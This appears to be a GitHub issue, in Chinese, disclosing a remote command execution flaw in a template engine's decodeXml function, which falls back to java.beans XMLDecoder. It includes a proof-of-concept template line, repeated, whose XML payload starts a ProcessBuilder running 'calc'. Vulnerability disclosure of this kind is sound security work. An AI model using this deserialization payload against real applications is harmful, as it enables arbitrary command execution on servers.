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模板得decodeXml函数存在安全问题,不配置xml.codec时默认使用得是java.beans.XMLEncoder。当在模板中调用decodeXml函数对XML数据进行处理时,当被处理得数据用户可控时就存在远程命令执行问题。 POC: #set(xml2='<?xml version="1.0" encoding="UTF-8"?><java version="" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java>') ${xml2.decodeXml()}
#set(xml2='<?xml version="1.0" encoding="UTF-8"?><java version="" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java>') ${xml2.decodeXml()}
The text was updated successfully, but these errors were encountered:
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模板得decodeXml函数存在安全问题,不配置xml.codec时默认使用得是java.beans.XMLEncoder。当在模板中调用decodeXml函数对XML数据进行处理时,当被处理得数据用户可控时就存在远程命令执行问题。
POC:
#set(xml2='<?xml version="1.0" encoding="UTF-8"?><java version="" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java>') ${xml2.decodeXml()}The text was updated successfully, but these errors were encountered: